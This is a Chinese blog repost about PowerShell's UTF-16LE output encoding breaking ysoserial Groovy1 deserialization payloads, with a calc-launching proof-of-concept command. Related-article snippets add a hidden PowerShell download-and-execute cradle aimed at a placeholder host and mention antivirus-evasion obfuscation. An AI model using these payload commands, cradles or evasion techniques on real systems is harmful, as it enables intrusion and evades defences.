powershell 中文系统默认UTF-16 (LE) UNICODE编码 使用时需小心

最新推荐文章于 2024-09-30 23:39:20 发布
最新推荐文章于 2024-09-30 23:39:20 发布
阅读量422 收藏
点赞数
CC 4.0 BY-SA版权
文章标签： 运维 java
原文链接：http://www.cnblogs.com/Primzahl/p/10834207.html
博客介绍了使用Java生成Payload的方法，包括通过cmd和powershell生成，还展示了第二次生成的方式，最后对生成结果进行对比，并提供了相关学习资料链接。

现象：

1.cmd生成payload

java -jar ysoserial.jar Groovy1 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc YwBhAGwAYwA=" > payload.bin

2.powershell生成payload

java -jar ysoserial.jar Groovy1 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc YwBhAGwAYwA=" > payload2.bin

第二次生成：

java -jar ysoserial.jar Groovy1 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc YwBhAGwAYwA=" | Out-File -Encoding default payload3.bin

3.结果对比

4.学习

https://wenku.baidu.com/view/768a052b915f804d2b16c149.html

https://docs.microsoft.com/zh-cn/powershell/module/Microsoft.PowerShell.Utility/Out-File?view=powershell-6

 

 

 

转载于:https://www.cnblogs.com/Primzahl/p/10834207.html

PowerShell输出字符串的编码为UTF-16LE的问题
从零开始
12-01 2364
使用powershell时遇到csv不分列的问题 修改powershell输出格式 修改执行策略
Windows PowerShell 输出文件编码格式问题
qianxiao_1的博客
03-06 1万+
Windows PowerShell 输出重定向 (“>”) 文件编码默认为UTF-16(LE)问题 问题描述：这两天在使用shp2pgsql时发现Windows PowerShell(为使行文方便，以下使用WPS替代Windows PowerShell，下不赘述)对于文件的输出重定向默认选择”UTF-16 (LE)”(微软称之为Unicode编码)，而实际需要文件输出格式为”UTF-...
powershell cs-UTF-16LE编码上线
weixin_42109829的博客
07-05 780
当我们要上线主机的时候，可能会因为你的代码含有木马字符串，导致无法上线1、 例子 powershell.exe -exec bypass -encodedCommand ZQBjAGgAbwAgACIAMQAyADMAIgA=2、原句子 3、UTF-16LE编码后 （在powershell上能直接执行） powershell.exe -w hidden -exec bypass -encodedCommand SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAg
Windows PowerShell 执行脚本输出文件编码格式
qr457535344的博客
03-30 3225
PowerShell 执行脚本输出文件编码格式修改
在 PowerShell 中 使用 mysqldump 命令导出乱码
永远相信美好的事情即将发生
06-18 996
有尝试使用 mysqldump 进行数据库导出，我的环境是 Windows ，因此使用了默认的命令提示符来输入命令，导出如下图： mysqldump.exe --databases test1 -uroot -proot --default-character-set=utf8 > D:\Desktop\all-sql.sql 结果发现导出的数据原本应该为 UTF8 类型的中文字符最终是乱码，从往搜索 ...
严重性 代码 说明 项目 文件 行 禁止显示状态 详细信息 错误 1299 Additional validation checks skipped due to parsing errors. 无附加读写 C:\Users\17116\source\repos\无附加读写\无附加读写\无附加读写.inf 1 错误 1003 INF has invalid or unknown file encoding, must be ANSI or UTF-16 LE. 无附加读写 C:\Users\17116\source\repos\无附加读写\无附加读写\无附加读写.inf 1
07-22
1. **无效文件编码**：INF文件必须使用ANSI或UTF-16 LE编码 2. **解析错误导致验证跳过**：编码问题导致后续验证无法执行 3. **常见触发场景**： - 使用中文文件名或路径 - 在非英文系统上创建文件 - 使用某些...
powershell和cmd的默认编码格式
01-02
而 **PowerShell** 则有所不同，默认情况下其内部使用 Unicode UTF16-LE 进行字符串表示，并且当涉及到外部文件读取或网络传输时通常会选择适合上下文环境的最佳编码方式；不过就命令行界面本身而言，默认控制台输出...
Unicode 入门详解（V14.0版本）
lsllll44的博客
09-17 5042
Unicode: 官网： https://home.unicode.org/ Unicode Version 14.0标准版本的发布声明（2021-09-14）： https://home.unicode.org/announcing-the-unicode-standard-version-14-0/ V 14.0的标准文档： http://www.unicode.org/versions/Unicode14.0.0/ 技术文档（有术语查询，问答FQA，其他）： http://unicode.org/m
将电脑默认编码改成ANSI
最新发布
07-25
PowerShell默认输出是UTF-16LE（Unicode），但我们可以通过`Out-File`命令指定编码（如引用[2]）。如果要改变PowerShell会话的默认编码，可以在PowerShell配置文件中设置。但是，PowerShell默认没有配置文件，可以...
探究乱码问题的本源：GBK,UTF8,UTF16,UTF8BOM,ASN1之间的关联
qq_36472340的博客
07-24 4058
探究乱码问题的本源：GBK,UTF8,UTF16,UTF8BOM,ASN1之间的关联
Powershell免杀系列（二）
st3pby的博客
02-20 3666
技术交流 关注微信公众号 Z20安全团队 , 回复 加群 ，拉你入群 一起讨论技术。 直接公众号文章复制过来的，排版可能有点乱， 可以去公众号看。 正文 powershell的免杀⽅法有很多，对代码进⾏编码是最常⻅的⼀种，这⾥介绍⼀个专⻔⽤来对powershell进⾏编码免杀的框架Invoke-Obfuscation，这也是著名的APT32组织海莲花常⽤的⼀个⼯具。 该工具可以对powershell代码进行 ASCII/hex/octal/binary/SecureS...
Powershell的学习笔记
来到了学渣的博客
10-16 5082
Powershell的优点 1、PowerShell可以用来管理活动目录 2、Windows7以上的操作系统默认安装 3、很多杀毒软件检测不到PowerShell的活动 4、可以从另外一个系统中下载PowerShell脚本并执行 5、cmd通常会被杀毒软件阻止运行，而PowerShell不会 6、PowerShell无须写到磁盘中，它可以直接在内存中运行。 Powershell的执行策略 Powershell有个安全策略，默认情况下，这个执行策略会被设置受限。 Get-ExecutionPolicy命令可
powershell免杀思路分析（过某60和某绒）
技术超强的网络安全平台
05-07 2855
文章首发于：https://forum.butian.net/share/936 写在前面 powershell做为微软windows系统自带的软件包，具有十分强大的功能，Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的功能，在IT/系统管理员间得到普及。总的特点来说就是:方便、有效和隐蔽。举例来说，利用这些合法工具可以让威胁活动混在正常的网络流量或IT/系统管理工作内，也让这些恶意威胁能够留下较少的痕迹，使得侦测更加困难
免杀对抗—Powershell混淆&分离免杀&特征修改&填充替换
2301_76227305的博客
09-30 1628
总的来说powershell免杀的效果要比shellcode要好，上面讲的方法都是通用的，在python混淆免杀的时候，也可以利用python进行分离免杀，或者无文件落地。免杀的思路远远不止这些，会有越来越多的免杀思路，而杀软也会不断迭代升级，二者是相互成长的。最后，以上仅为个人的拙见，如何有不对的地方，欢迎各位师傅指正与补充，有兴趣的师傅可以一起交流学习。
【渗透测试笔记】之【免杀工具——使用Invoke-Obfuscation代码混淆免杀powershell】
AA8j的博客
07-06 2704
0x01 项目地址 https://github.com/danielbohannon/Invoke-Obfuscation 0x02 用法 生成powershell： powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x:55556/a'))" 下载并用powershell进入项目目录执行：Import-Module .\Invoke-Obfuscati
内网安全攻防读书笔记（2）——powershell基础
qq_40909772的博客
11-26 3973
文章目录1.基本概念1.1 .ps1文件1.2 执行策略1.3 管道2.常用命令2.1 文件操作命令2.2 绕过本地权限并执行2.3 使用base64对PowerShell命令进行编码2.3 运行32位和64位powershell   powershell是windows的一种命令行外壳程序。只要一台计算机上可以运行代码，就可以将powershell脚本文件执行，甚至无需写入到磁盘中。powershell拥有以下几个重要的特点： 脚本可以在内存中运行，不需要写入到磁盘中。 可以远程执行。 可用于管理活动目
windows修改PowerShell（命令提示符）默认中文编码方式
热门推荐
云淡风轻
05-11 3万+
简介 目的：由于编程的时候经常会用到不同的编码，但是由于和命令行默认的编码不一致，就导致了输出的中文乱码，使用chcp命令可以修改当前命令行的编码方式 临时修改 直接在powershell中执行 chcp命令 chcp 65001 永久修改 修改注册表的这个位置：[HKEY_CURRENT_USER\Console\CodePage] chcp命令使用的数字编码表 代...
如何让PowerShell显示中文不乱码
随手记两笔
04-19 3万+
如今软件日益国际化的今天，Windows下的命令行却还顽固地使用本地编码来显示数据，这导致用UTF-8编码的文件在命令行显示乱码。虽说Cygwin的内核cygwin1.dll有自动转换功能，可是因为GB2312中没有变音符号等特殊字符，某些字符仍然不能正常显示。 虽然控制面板可以改控制台编码，可是你会发现并没有UTF-8。其实Windows是支持UTF-8控制台的，只是把它藏起来了。 第一步，
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值